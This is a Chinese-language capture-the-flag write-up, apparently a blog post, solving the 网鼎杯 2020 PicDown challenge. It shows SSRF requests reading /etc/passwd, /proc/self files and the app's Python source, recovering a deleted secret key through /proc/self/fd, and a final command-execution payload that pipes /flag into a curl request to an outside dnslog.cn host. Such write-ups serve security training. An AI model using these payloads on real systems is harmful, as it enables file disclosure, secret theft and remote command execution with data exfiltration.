BUU-[网鼎杯 2020 白虎组]PicDown
题目给的是GET参数名为url,应该就是SSRF的题目
输入?url=/etc/passwd
回显成功, 证实了是SSRF
接着, 查看进程变量
?url=/proc/self/environ
MAIL=/var/mail/app USER=app HOME=/home/app LOGNAME=app PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games SHELL=/bin/sh PWD=/app
找到了PWD
接着, 查看启动进程的命令行参数
?url=/proc/self/cmdline
python2 app.py
接着, 查看题目源码
?url=/app/app.py
from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib
app = Flask(__name__)
SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)
@app.route('/')
def index():
return render_template('search.html')
@app.route('/page')
def page():
url = request.args.get("url")
try:
if not url.lower().startswith("file"):
res = urllib.urlopen(url)
value = res.read()
response = Response(value, mimetype='application/octet-stream')
response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
return response
else:
value = "HACK ERROR!"
except:
value = "SOMETHING WRONG!"
return render_template('search.html', res=value)
@app.route('/no_one_know_the_manager')
def manager():
key = request.args.get("key")
print(SECRET_KEY)
if key == SECRET_KEY:
shell = request.args.get("shell")
os.system(shell)
res = "ok"
else:
res = "Wrong Key!"
return res
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)
审计:
最重要的就是SECRET_KEY,但是这个变量的来源文件被删了, 所以无法直接SSRF, 只能另辟蹊径:
查看源码,可以发现文件虽然被删除了, 但是文件并没有关闭, 所以进程还持有者文件的fd(文件描述符)
恢复已删除但仍被占用的文件:如果文件被删除但进程仍持有 fd,可以通过 /proc/<pid>/fd/<num> 复制出来
fd可以通过/proc/self/fd/<num>访问, 遍历num,当num=3的时候, 找到了SECRET_KEY
成功通过了IF判断
接着, 执行shell, 发现无回显, 需要外带
?key=IDOaWCEY/auOqViQHU19M/uMWBZBTueF0LoRfF2p1eI=&shell=curl+`cat+/flag|tr+'{}'+'--'`.k28u8a.dnslog.cn
解读payload:
- 两个反引号在Linux中表示命令替换,相当于一个函数, 把结果return了出去
- tr命令, 基础用法就是进行字符的对应替换: tr '{}' '--'就是说把
{替换为了-,把}替换为了- - 之所以不用base64的原因
- base64的结果会包含非法的域名字符:
+/=,合法的域名字符之包括:a-z,0-9,- - base64的结果太长了,域名是接受不了这么长的
- base64的结果会包含非法的域名字符:
posted on 2026-04-11 13:30 misaki%20mei 阅读(10) 评论(0) 收藏 举报
浙公网安备 33010602011771号